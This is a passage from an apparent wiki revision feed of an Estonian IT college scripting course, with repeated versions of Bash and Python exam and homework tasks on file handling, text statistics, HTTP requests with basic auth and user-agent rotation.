Skript loeb kokku kõikide sisendfailis olnud tähtede esinemissageduse ja kirjutab selle väljundisse kujul.&lt;br /&gt;
&lt;br /&gt;
TÄHT,MITU_OLI,PROTSENT kogu tähtede arvust&lt;br /&gt;
&lt;br /&gt;
Näiteks sisendfail sisaldab:&lt;br /&gt;
&lt;br /&gt;
Siin ei ole kala&lt;br /&gt;
&lt;br /&gt;
Väljundfail:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
s,1,7.6923077&lt;br /&gt;
i,3,23.0769231&lt;br /&gt;
n,1,7.6923077&lt;br /&gt;
e,2,15.3846154&lt;br /&gt;
o,1,7.6923077&lt;br /&gt;
l,2,15.3846154&lt;br /&gt;
k,1,7.6923077&lt;br /&gt;
a,2,15.3846154&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui skriptil on vale arv parameetreid või skript ei saa faile avada sobivaks operatsiooniks või faili kirjutada/lugeda, siis tuleb tagastada veakood sys.exit(X). Veakoodid valid ja dokumenteerid ise.&lt;br /&gt;
&lt;br /&gt;
==Näidiskodutöö neile, kes ise teemat ei leidnud ja õppejõult ei saanud==&lt;br /&gt;
&lt;br /&gt;
Skriptil on kaks parameetrit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1. sisendfaili nimi&lt;br /&gt;
&lt;br /&gt;
2. väljundfaili nimi&lt;br /&gt;
&lt;br /&gt;
Skript kontrollib, et ette oleks antud kaks parameetrit ja sisendfailist saab lugeda ja väljundfaili saab kirjutada.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on komadega eraldatud 3 tulpa&lt;br /&gt;
&lt;br /&gt;
1. URL,kasutajanmi,parool,otsitav string&lt;br /&gt;
&lt;br /&gt;
Näiteks&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://enos.itcollege.ee,robot,kala,Server&lt;br /&gt;
http://enos.itcollege.ee/~mernits/basicauth/kala.html,robot,kala,SIIN EI OLE KALA&lt;br /&gt;
http://robot.itcollege.ee/kala.html,,,KALA&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui server nõuab basic autentimist, siis kasutad antud kasutajanime ja parooli. Kui server ei nõua autentimist, siis kasutajanime ja parooli ei saadeta.&lt;br /&gt;
&lt;br /&gt;
Kui kasutajanimi ja parool puuduvad, siis kasutajanime ja parooli ei saadeta. (kasutajanimi ja parool ei pea olema kirjas)&lt;br /&gt;
&lt;br /&gt;
Skript teeb päringu iga sisendfaili rea kohta ja kirjutab väljundfaili kujul:&lt;br /&gt;
&lt;br /&gt;
URL,kuupäev-kellaaeg kujul (AAASTA-KUU-PÄEV TUNNID:MINUTID:SEKUNDID),kasutajanimi,parool,otsitav string,OK&lt;br /&gt;
&lt;br /&gt;
Kui päringu vastuses oli otsitav string ja rea: &lt;br /&gt;
&lt;br /&gt;
URL,kuupäev-kellaaeg kujul (AAASTA-KUU-PÄEV TUNNID:MINUTID:SEKUNDID),kasutajanimi,parool,otsitav string,NOK&lt;br /&gt;
&lt;br /&gt;
Kui otsitav string puudus, või kasutajanimi parool oli vale või server ei vastanud (ehk kõik ülejäänud juhud, kui otsitavat stringi ei leitud)&lt;br /&gt;
&lt;br /&gt;
==Kodutöö või arvestuse python skript (neile, kes esitavad selle kuni 28.mai.2013 enne arvestuse algust)==&lt;br /&gt;
&lt;br /&gt;
Looge skript, mis teeb päringuid esimese argumendina antud veebilehe pihta ja vahetab iga päringuga browser stringi, millede nimekiri on ette antud failis data.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Failinimi olgu kujul p2ring.eesnimi.perenimi.py, ehk kirjutad sinna oma nime&lt;br /&gt;
&lt;br /&gt;
Näiteks: ./p2ring.margus.ernits.py http://wiki.itcollege.ee/ &lt;br /&gt;
&lt;br /&gt;
ja data näitesisu:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Mozilla (libwhisker/2.4)&lt;br /&gt;
Mozilla (Mozilla@somewhere.com)&lt;br /&gt;
Mozilla 4.0(compatible; BotSeer/1.0; +http://botseer.ist.psu.edu)&lt;br /&gt;
Mozilla/1.1 (compatible; MSPIE 2.0; Windows CE)&lt;br /&gt;
Mozilla/1.10 [en] (Compatible; RISC OS 3.70; Oregano 1.10)&lt;br /&gt;
Mozilla/1.22 (compatible; MSIE 2.0d; Windows NT)&lt;br /&gt;
Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0)&lt;br /&gt;
Mozilla/2.0 &lt;br /&gt;
Mozilla/2.0 (compatible; AOL 3.0; Mac_PowerPC)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veatöötlis: Kui faili ei ole või seda ei saa avada, siis skripti väljumiskood (exit code) on 1.&lt;br /&gt;
&lt;br /&gt;
Hindid: urllib2 urllib changing user agent&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skript saatke õppejõu (Margus Ernits) e-posti aadressile margus.ernitsÄTTitcollege.ee.&lt;br /&gt;
&lt;br /&gt;
NB: Sama ülesannet võib esitada bash arvestustööna, kui kodutöö on olemas.&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Skriptimiskeelte_arvestust%C3%B6%C3%B6d_ja_kontrollt%C3%B6%C3%B6d&amp;diff=88070</id>
		<title>Skriptimiskeelte arvestustööd ja kontrolltööd</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Skriptimiskeelte_arvestust%C3%B6%C3%B6d_ja_kontrollt%C3%B6%C3%B6d&amp;diff=88070"/>
		<updated>2015-04-07T07:40:12Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* BASH kontrolltöö 7. aprill 2015.a. */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==BASH kontrolltöö 7. aprill 2015.a.==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt kaks parameetrit. 1. Sisendfail 2. Väljundfail&lt;br /&gt;
&lt;br /&gt;
* Skript kontrollib, et sisendfail on fail ja loetav. (vastasel juhul exit 1)&lt;br /&gt;
* Skript kontrollib, kas väljundfaili saab kirjutamiseks avada. (vastasel juhul exit 2)&lt;br /&gt;
* Skript kontrollib, kas parameetreid on täpselt kaks (vastasel juhul exit 3)&lt;br /&gt;
&lt;br /&gt;
* Skript loeb sisendfailist failide ja kataloogide nimekirja (näiteks kujul)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/passwd&lt;br /&gt;
/etc/&lt;br /&gt;
/var/log&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Skript kirjutab väljundfaili failinime ja kas tegu oli failiga (FAIL) või kataloogoga (DIR). Lisaks kirjutab skript väljundfaili faili või kataloogi omaniku. Tulpade eraldajateks on komad. Näiteväljund eelmise näite kohta.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/passwd,FAIL,root&lt;br /&gt;
/etc/,DIR,root&lt;br /&gt;
/var/log,DIR,root&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Arvestus 18.oktoober kaugõpe==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis laeb etteantud asukohast alla ühe faili ja kui fail on gz|tar, siis pakib vastava faili lahti teise parameetrina antud kausta (kui kausta pole, siis luuakse). Kui skriptil on kolmas parameeter, siis sätib kausta omanikuks kolmanda parameetri väärtuse ja kui skriptil on neljas parameeter, siis sätib kausta grupiks neljanda parameetri. Skript peab kontrollima, et käivitatakse root õigustes.&lt;br /&gt;
&lt;br /&gt;
./skript http://enos.itcollege.ee/~mernits/a/kala kaust kasutajanimi grupp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://enos.itcollege.ee/~mernits/a/kala&lt;br /&gt;
http://enos.itcollege.ee/~mernits/a/kala2&lt;br /&gt;
&lt;br /&gt;
==Arvestus 7.november kaugõpe==&lt;br /&gt;
&lt;br /&gt;
NB: seda saab lahendada siis, kui bash kodutööd (failiteenus, veebiteenus või õppejõuga kokkulepitud kodutöö on saadetud). Lahendusi ootan 14:00-ks&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt 2 parameetrit 1. kasutajanimi 2. failinimi&lt;br /&gt;
&lt;br /&gt;
Skript peab kontrollima, et oleks kaks parameetrit, lisaks kasutaja peab olemas olema ja fail loetav. Kui tingimused pole täidetud, siis tuleb kasutajat teavitada ja väljuda veakoodiga 1.&lt;br /&gt;
&lt;br /&gt;
Teise parameetrina antud failinimes on failide ja kataloogide nimekiri iga kirje eraldi real, nagu näiteks:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/var/kala&lt;br /&gt;
/var/kala/kala.txt&lt;br /&gt;
/var/kala/kala2.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Skript sätib kõikide failide omanikuks kasutaja, mis anti esimese parameetrina. Kataloogide puhul ei tohi omaniku muuta. St näites on esimene rida ilmselt kataloog (seda tuleb ise testida -d abil näiteks), siis esimese rea puhul ei tehta midagi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kui faili/kataloogi ei ole, siis tuleb vastav fail/kataloog ise tekitada. Kui rea lõpus on / siis tuleb teha kataloog (kui pole) ja kui rida ei lõpe / märgiga siis tuleb luua fail, kui seda pole. Kui skript ise loob faile/katalooge, siis omanikuks/grupiks on käsurea esimene parameeter.&lt;br /&gt;
&lt;br /&gt;
==Arvestus 8.november kaugõpe==&lt;br /&gt;
Loo skript, mis saab kaks käsurea parameetrit. 1. kasutajanimi 2. kausta nimi. Kui kasutajat/kausta ei ole või on vale arv parameetreid, siis tuleb töö katkestada veakoodiga 1.&lt;br /&gt;
&lt;br /&gt;
Skript leiab teise käsurea parameetrina antud kasutast kõik kasutajale kuuluvad failid ja teeb nendele sümlingid, kus originaalfailinimele on ette lisatud kasutajanimi.&lt;br /&gt;
&lt;br /&gt;
Näiteks kasut oli /var ja seal oli kasutale audio kuuluv fail /var/kala.txt, siis luuakse sümlink /var/audiokala.txt, mis viitab failile /var/kala.txt-le.&lt;br /&gt;
&lt;br /&gt;
Lisaks tehakse igale kasutajale kuuluvale failile veel teine sümlink, kus failinime ette on liidetud faili md5 räsi.&lt;br /&gt;
&lt;br /&gt;
Näiteks /var/kala.txt-le mille sees on 000 viitab räsi /var/23ebe88c0224f4f4fc0b608216e98735kala.txt&lt;br /&gt;
&lt;br /&gt;
Ülesande tekst pange skriptile kaasa. Skript tuleb saata enne 14:00-i&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Arvestus 29.november kaugõpe==&lt;br /&gt;
Loo skript, mis saab kaks käsurea parameetrit. 1. Serveri nimi või IP aadress, 2. failinimi, kus sees on URL ja otsitav string.&lt;br /&gt;
&lt;br /&gt;
Skript teeb käsurea parameeteriga antud serveri pihta GET päringuid, mis on teise argumendina antud failis ja otsib vastusena saadud lehelt samas failis antud otsitavat stringi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kui string leitakse kirjutataks väljundisse:&lt;br /&gt;
&lt;br /&gt;
SERVER,URL,otsitavstring,kellaaeg (aasta, kuu, päev, tund, minut, sekund), OK või NOK&lt;br /&gt;
&lt;br /&gt;
näitefail:&lt;br /&gt;
&lt;br /&gt;
/index.html,itcollege.ee&lt;br /&gt;
&lt;br /&gt;
/kama/index.html,Siin ei ole kama&lt;br /&gt;
&lt;br /&gt;
==Bash arvestus 31. jaanuar 2015.a. kaugõpe==&lt;br /&gt;
Loo skript, mis saab viis käsurea parameetrit. 1. kasutajanimi, 2. failinimi, 3. grupinimi, 4. kataloogi nimi, 5. pakinimi&lt;br /&gt;
&lt;br /&gt;
1. Skript kontrollib, kas kasutaja on olemas. Kui pole siis exit 1&lt;br /&gt;
&lt;br /&gt;
2. Skript kontrollib, kas grupp on olemas. Kui pole, siis loob&lt;br /&gt;
&lt;br /&gt;
3. Skript kontrollib, kas käsurealt antud failinimi on olemas, kui pole, siis loob. Skript määrab faili kasutajaks antud kasutaja ja grupiks antud grupi&lt;br /&gt;
&lt;br /&gt;
4. Skript kontrollib, kas antud kataloog on olemas ja kui on, siis kopeerib /var/log/ kaustast kõik .log laiendiga failid sinna kausta&lt;br /&gt;
&lt;br /&gt;
5. Skript kontrollib, kas antud pakk on paigaldatud ja ütleb kasutajale, kas pakk on paigaldatud või ei ole.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Python arvestustöö kaubõppele 31. jaanuar 2015.a.==&lt;br /&gt;
Loo skript, mis saab kaks käsurea argumenti, sisendfail ja väljundfail.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on suvaline tekst.&lt;br /&gt;
&lt;br /&gt;
Skript loeb kokku kõik sisendfaili erinevad sõnad ja kirjutab tulemuse väljundfaili kujul.&lt;br /&gt;
&lt;br /&gt;
SÕNA,MITU,PROTSENT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Näiteks failis on neli sõna:&lt;br /&gt;
siin ei ole kala&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Väljund on:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
siin,1,0.25&lt;br /&gt;
ei,1,0,25&lt;br /&gt;
ole,1,0.25&lt;br /&gt;
kala,1,0.25&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Arvestustöö neile, kellel python kodutöö on saadetud. Arvestus tuleb saata hiljemalt esmaspäeval 22.detsembril==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab kaks käsurea argumenti, sisendfail ja väljundfail.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on suvaline tekst.&lt;br /&gt;
&lt;br /&gt;
Skript loeb kokku kõikide sisendfailis olnud tähtede esinemissageduse ja kirjutab selle väljundisse kujul.&lt;br /&gt;
&lt;br /&gt;
TÄHT,MITU_OLI,PROTSENT kogu tähtede arvust&lt;br /&gt;
&lt;br /&gt;
Näiteks sisendfail sisaldab:&lt;br /&gt;
&lt;br /&gt;
Siin ei ole kala&lt;br /&gt;
&lt;br /&gt;
Väljundfail:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
s,1,7.6923077&lt;br /&gt;
i,3,23.0769231&lt;br /&gt;
n,1,7.6923077&lt;br /&gt;
e,2,15.3846154&lt;br /&gt;
o,1,7.6923077&lt;br /&gt;
l,2,15.3846154&lt;br /&gt;
k,1,7.6923077&lt;br /&gt;
a,2,15.3846154&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui skriptil on vale arv parameetreid või skript ei saa faile avada sobivaks operatsiooniks või faili kirjutada/lugeda, siis tuleb tagastada veakood sys.exit(X). Veakoodid valid ja dokumenteerid ise.&lt;br /&gt;
&lt;br /&gt;
==Näidiskodutöö neile, kes ise teemat ei leidnud ja õppejõult ei saanud==&lt;br /&gt;
&lt;br /&gt;
Skriptil on kaks parameetrit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1. sisendfaili nimi&lt;br /&gt;
&lt;br /&gt;
2. väljundfaili nimi&lt;br /&gt;
&lt;br /&gt;
Skript kontrollib, et ette oleks antud kaks parameetrit ja sisendfailist saab lugeda ja väljundfaili saab kirjutada.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on komadega eraldatud 3 tulpa&lt;br /&gt;
&lt;br /&gt;
1. URL,kasutajanmi,parool,otsitav string&lt;br /&gt;
&lt;br /&gt;
Näiteks&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://enos.itcollege.ee,robot,kala,Server&lt;br /&gt;
http://enos.itcollege.ee/~mernits/basicauth/kala.html,robot,kala,SIIN EI OLE KALA&lt;br /&gt;
http://robot.itcollege.ee/kala.html,,,KALA&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui server nõuab basic autentimist, siis kasutad antud kasutajanime ja parooli. Kui server ei nõua autentimist, siis kasutajanime ja parooli ei saadeta.&lt;br /&gt;
&lt;br /&gt;
Kui kasutajanimi ja parool puuduvad, siis kasutajanime ja parooli ei saadeta. (kasutajanimi ja parool ei pea olema kirjas)&lt;br /&gt;
&lt;br /&gt;
Skript teeb päringu iga sisendfaili rea kohta ja kirjutab väljundfaili kujul:&lt;br /&gt;
&lt;br /&gt;
URL,kuupäev-kellaaeg kujul (AAASTA-KUU-PÄEV TUNNID:MINUTID:SEKUNDID),kasutajanimi,parool,otsitav string,OK&lt;br /&gt;
&lt;br /&gt;
Kui päringu vastuses oli otsitav string ja rea: &lt;br /&gt;
&lt;br /&gt;
URL,kuupäev-kellaaeg kujul (AAASTA-KUU-PÄEV TUNNID:MINUTID:SEKUNDID),kasutajanimi,parool,otsitav string,NOK&lt;br /&gt;
&lt;br /&gt;
Kui otsitav string puudus, või kasutajanimi parool oli vale või server ei vastanud (ehk kõik ülejäänud juhud, kui otsitavat stringi ei leitud)&lt;br /&gt;
&lt;br /&gt;
==Kodutöö või arvestuse python skript (neile, kes esitavad selle kuni 28.mai.2013 enne arvestuse algust)==&lt;br /&gt;
&lt;br /&gt;
Looge skript, mis teeb päringuid esimese argumendina antud veebilehe pihta ja vahetab iga päringuga browser stringi, millede nimekiri on ette antud failis data.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Failinimi olgu kujul p2ring.eesnimi.perenimi.py, ehk kirjutad sinna oma nime&lt;br /&gt;
&lt;br /&gt;
Näiteks: ./p2ring.margus.ernits.py http://wiki.itcollege.ee/ &lt;br /&gt;
&lt;br /&gt;
ja data näitesisu:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Mozilla (libwhisker/2.4)&lt;br /&gt;
Mozilla (Mozilla@somewhere.com)&lt;br /&gt;
Mozilla 4.0(compatible; BotSeer/1.0; +http://botseer.ist.psu.edu)&lt;br /&gt;
Mozilla/1.1 (compatible; MSPIE 2.0; Windows CE)&lt;br /&gt;
Mozilla/1.10 [en] (Compatible; RISC OS 3.70; Oregano 1.10)&lt;br /&gt;
Mozilla/1.22 (compatible; MSIE 2.0d; Windows NT)&lt;br /&gt;
Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0)&lt;br /&gt;
Mozilla/2.0 &lt;br /&gt;
Mozilla/2.0 (compatible; AOL 3.0; Mac_PowerPC)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veatöötlis: Kui faili ei ole või seda ei saa avada, siis skripti väljumiskood (exit code) on 1.&lt;br /&gt;
&lt;br /&gt;
Hindid: urllib2 urllib changing user agent&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skript saatke õppejõu (Margus Ernits) e-posti aadressile margus.ernitsÄTTitcollege.ee.&lt;br /&gt;
&lt;br /&gt;
NB: Sama ülesannet võib esitada bash arvestustööna, kui kodutöö on olemas.&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Skriptimiskeelte_arvestust%C3%B6%C3%B6d_ja_kontrollt%C3%B6%C3%B6d&amp;diff=88069</id>
		<title>Skriptimiskeelte arvestustööd ja kontrolltööd</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Skriptimiskeelte_arvestust%C3%B6%C3%B6d_ja_kontrollt%C3%B6%C3%B6d&amp;diff=88069"/>
		<updated>2015-04-07T07:38:48Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Arvestus 18.oktoober kaugõpe */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==BASH kontrolltöö 7. aprill 2015.a.==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt kaks parameetrit. 1. Sisendfail 2. Väljundfail&lt;br /&gt;
&lt;br /&gt;
* Skript kontrollib, et sisendfail on fail ja loetav. (vastasel juhul exit 1)&lt;br /&gt;
* Skript kontrollib, kas väljundfaili saab kirjutamiseks avada. (vastasel juhul exit 2)&lt;br /&gt;
&lt;br /&gt;
* Skript loeb sisendfailist failide ja kataloogide nimekirja (näiteks kujul)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/passwd&lt;br /&gt;
/etc/&lt;br /&gt;
/var/log&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Skript kirjutab väljundfaili failinime ja kas tegu oli failiga (FAIL) või kataloogoga (DIR). Lisaks kirjutab skript väljundfaili faili või kataloogi omaniku. Tulpade eraldajateks on komad. Näiteväljund eelmise näite kohta.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/passwd,FAIL,root&lt;br /&gt;
/etc/,DIR,root&lt;br /&gt;
/var/log,DIR,root&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Arvestus 18.oktoober kaugõpe==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis laeb etteantud asukohast alla ühe faili ja kui fail on gz|tar, siis pakib vastava faili lahti teise parameetrina antud kausta (kui kausta pole, siis luuakse). Kui skriptil on kolmas parameeter, siis sätib kausta omanikuks kolmanda parameetri väärtuse ja kui skriptil on neljas parameeter, siis sätib kausta grupiks neljanda parameetri. Skript peab kontrollima, et käivitatakse root õigustes.&lt;br /&gt;
&lt;br /&gt;
./skript http://enos.itcollege.ee/~mernits/a/kala kaust kasutajanimi grupp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://enos.itcollege.ee/~mernits/a/kala&lt;br /&gt;
http://enos.itcollege.ee/~mernits/a/kala2&lt;br /&gt;
&lt;br /&gt;
==Arvestus 7.november kaugõpe==&lt;br /&gt;
&lt;br /&gt;
NB: seda saab lahendada siis, kui bash kodutööd (failiteenus, veebiteenus või õppejõuga kokkulepitud kodutöö on saadetud). Lahendusi ootan 14:00-ks&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt 2 parameetrit 1. kasutajanimi 2. failinimi&lt;br /&gt;
&lt;br /&gt;
Skript peab kontrollima, et oleks kaks parameetrit, lisaks kasutaja peab olemas olema ja fail loetav. Kui tingimused pole täidetud, siis tuleb kasutajat teavitada ja väljuda veakoodiga 1.&lt;br /&gt;
&lt;br /&gt;
Teise parameetrina antud failinimes on failide ja kataloogide nimekiri iga kirje eraldi real, nagu näiteks:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/var/kala&lt;br /&gt;
/var/kala/kala.txt&lt;br /&gt;
/var/kala/kala2.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Skript sätib kõikide failide omanikuks kasutaja, mis anti esimese parameetrina. Kataloogide puhul ei tohi omaniku muuta. St näites on esimene rida ilmselt kataloog (seda tuleb ise testida -d abil näiteks), siis esimese rea puhul ei tehta midagi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kui faili/kataloogi ei ole, siis tuleb vastav fail/kataloog ise tekitada. Kui rea lõpus on / siis tuleb teha kataloog (kui pole) ja kui rida ei lõpe / märgiga siis tuleb luua fail, kui seda pole. Kui skript ise loob faile/katalooge, siis omanikuks/grupiks on käsurea esimene parameeter.&lt;br /&gt;
&lt;br /&gt;
==Arvestus 8.november kaugõpe==&lt;br /&gt;
Loo skript, mis saab kaks käsurea parameetrit. 1. kasutajanimi 2. kausta nimi. Kui kasutajat/kausta ei ole või on vale arv parameetreid, siis tuleb töö katkestada veakoodiga 1.&lt;br /&gt;
&lt;br /&gt;
Skript leiab teise käsurea parameetrina antud kasutast kõik kasutajale kuuluvad failid ja teeb nendele sümlingid, kus originaalfailinimele on ette lisatud kasutajanimi.&lt;br /&gt;
&lt;br /&gt;
Näiteks kasut oli /var ja seal oli kasutale audio kuuluv fail /var/kala.txt, siis luuakse sümlink /var/audiokala.txt, mis viitab failile /var/kala.txt-le.&lt;br /&gt;
&lt;br /&gt;
Lisaks tehakse igale kasutajale kuuluvale failile veel teine sümlink, kus failinime ette on liidetud faili md5 räsi.&lt;br /&gt;
&lt;br /&gt;
Näiteks /var/kala.txt-le mille sees on 000 viitab räsi /var/23ebe88c0224f4f4fc0b608216e98735kala.txt&lt;br /&gt;
&lt;br /&gt;
Ülesande tekst pange skriptile kaasa. Skript tuleb saata enne 14:00-i&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Arvestus 29.november kaugõpe==&lt;br /&gt;
Loo skript, mis saab kaks käsurea parameetrit. 1. Serveri nimi või IP aadress, 2. failinimi, kus sees on URL ja otsitav string.&lt;br /&gt;
&lt;br /&gt;
Skript teeb käsurea parameeteriga antud serveri pihta GET päringuid, mis on teise argumendina antud failis ja otsib vastusena saadud lehelt samas failis antud otsitavat stringi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kui string leitakse kirjutataks väljundisse:&lt;br /&gt;
&lt;br /&gt;
SERVER,URL,otsitavstring,kellaaeg (aasta, kuu, päev, tund, minut, sekund), OK või NOK&lt;br /&gt;
&lt;br /&gt;
näitefail:&lt;br /&gt;
&lt;br /&gt;
/index.html,itcollege.ee&lt;br /&gt;
&lt;br /&gt;
/kama/index.html,Siin ei ole kama&lt;br /&gt;
&lt;br /&gt;
==Bash arvestus 31. jaanuar 2015.a. kaugõpe==&lt;br /&gt;
Loo skript, mis saab viis käsurea parameetrit. 1. kasutajanimi, 2. failinimi, 3. grupinimi, 4. kataloogi nimi, 5. pakinimi&lt;br /&gt;
&lt;br /&gt;
1. Skript kontrollib, kas kasutaja on olemas. Kui pole siis exit 1&lt;br /&gt;
&lt;br /&gt;
2. Skript kontrollib, kas grupp on olemas. Kui pole, siis loob&lt;br /&gt;
&lt;br /&gt;
3. Skript kontrollib, kas käsurealt antud failinimi on olemas, kui pole, siis loob. Skript määrab faili kasutajaks antud kasutaja ja grupiks antud grupi&lt;br /&gt;
&lt;br /&gt;
4. Skript kontrollib, kas antud kataloog on olemas ja kui on, siis kopeerib /var/log/ kaustast kõik .log laiendiga failid sinna kausta&lt;br /&gt;
&lt;br /&gt;
5. Skript kontrollib, kas antud pakk on paigaldatud ja ütleb kasutajale, kas pakk on paigaldatud või ei ole.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Python arvestustöö kaubõppele 31. jaanuar 2015.a.==&lt;br /&gt;
Loo skript, mis saab kaks käsurea argumenti, sisendfail ja väljundfail.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on suvaline tekst.&lt;br /&gt;
&lt;br /&gt;
Skript loeb kokku kõik sisendfaili erinevad sõnad ja kirjutab tulemuse väljundfaili kujul.&lt;br /&gt;
&lt;br /&gt;
SÕNA,MITU,PROTSENT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Näiteks failis on neli sõna:&lt;br /&gt;
siin ei ole kala&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Väljund on:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
siin,1,0.25&lt;br /&gt;
ei,1,0,25&lt;br /&gt;
ole,1,0.25&lt;br /&gt;
kala,1,0.25&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Arvestustöö neile, kellel python kodutöö on saadetud. Arvestus tuleb saata hiljemalt esmaspäeval 22.detsembril==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab kaks käsurea argumenti, sisendfail ja väljundfail.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on suvaline tekst.&lt;br /&gt;
&lt;br /&gt;
Skript loeb kokku kõikide sisendfailis olnud tähtede esinemissageduse ja kirjutab selle väljundisse kujul.&lt;br /&gt;
&lt;br /&gt;
TÄHT,MITU_OLI,PROTSENT kogu tähtede arvust&lt;br /&gt;
&lt;br /&gt;
Näiteks sisendfail sisaldab:&lt;br /&gt;
&lt;br /&gt;
Siin ei ole kala&lt;br /&gt;
&lt;br /&gt;
Väljundfail:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
s,1,7.6923077&lt;br /&gt;
i,3,23.0769231&lt;br /&gt;
n,1,7.6923077&lt;br /&gt;
e,2,15.3846154&lt;br /&gt;
o,1,7.6923077&lt;br /&gt;
l,2,15.3846154&lt;br /&gt;
k,1,7.6923077&lt;br /&gt;
a,2,15.3846154&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui skriptil on vale arv parameetreid või skript ei saa faile avada sobivaks operatsiooniks või faili kirjutada/lugeda, siis tuleb tagastada veakood sys.exit(X). Veakoodid valid ja dokumenteerid ise.&lt;br /&gt;
&lt;br /&gt;
==Näidiskodutöö neile, kes ise teemat ei leidnud ja õppejõult ei saanud==&lt;br /&gt;
&lt;br /&gt;
Skriptil on kaks parameetrit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1. sisendfaili nimi&lt;br /&gt;
&lt;br /&gt;
2. väljundfaili nimi&lt;br /&gt;
&lt;br /&gt;
Skript kontrollib, et ette oleks antud kaks parameetrit ja sisendfailist saab lugeda ja väljundfaili saab kirjutada.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on komadega eraldatud 3 tulpa&lt;br /&gt;
&lt;br /&gt;
1. URL,kasutajanmi,parool,otsitav string&lt;br /&gt;
&lt;br /&gt;
